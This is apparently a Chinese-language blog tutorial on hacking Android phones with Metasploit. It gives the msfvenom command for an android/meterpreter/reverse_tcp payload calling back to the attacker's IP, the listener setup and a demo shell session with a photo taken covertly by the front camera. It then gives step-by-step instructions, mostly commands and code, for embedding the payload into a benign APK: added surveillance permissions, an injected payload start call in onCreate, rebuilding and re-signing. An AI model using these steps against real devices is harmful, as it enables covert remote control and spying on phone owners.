先生成一个payload,带上meterpreter监听的地址和端口:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your public IP> LPORT=80 -o msf.apk
由于大号端口在我的wifi环境下无法出去,所以这里我设置为80端口。
然后安装这个apk到手机。
注意不要在主机上用nc监听,虽然能收到来自apk的TCP包,但是那只是心跳包,没有数据的。
然后用root权限打开msfconsole(因为要监听在80端口,得用root权限才行),在msf上监听:
use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 80
set PAYLOAD android/meterpreter/reverse_tcp
exploit
Demo
用前置摄像头拍到的照片
最后不知道做什么了,就用一个android的shell:
meterpreter > shell
Process 1 created.
Channel 1 created.
pwd
/data/data/com.metasploit.stage/files
id
uid=10113(u0_a113) gid=10113(u0_a113) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50113(all_a113) context=u:r:untrusted_app:s0
su
pwd
/data/data/com.metasploit.stage/files
ls
cd ..
ls
cache
files
lib
cd lib
ls
cd ../..
ls
opendir failed, Permission denied
参考:https://nestedif.com/android-security/android-reverse-shell-using-metasploit/
将生成的payload整合到正常apk中
- 用apktool对msf.apk进行反编译;用apktool对helloworld.apk进行反编译。
- 将msf.apk中的AndroidManifest.xml权限加到helloworld.apk的AndroidManifest.xml中。
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
- 将apktool得到的smali目录下的所有文件复制到helloworld.apk的smali目录下。
- 然后找到原apk中的入口Activity的onCreate()方法:
在其下面一行加入:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
- 回编译:
apktool b helloworld(使用apktool反编译helloworld.apk生成的目录)
在helloworld/dist目录会得到一个apk。
6. 此时得到的apk是没有签名的,需要用jarsigner对其签名。(如果没有keystore文件,可以用命令先生成一个)
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore C:\Users\caiqiqi\cqq.keystore E:\BaiduNetdiskDownload\apktool\helloworld\dist\helloworld.apk cqq
签名之后会覆盖原始的helloworld.apk。
参考:https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/
自动化脚本:https://github.com/yoda66/AndroidEmbedIT/blob/master/android_embedit.py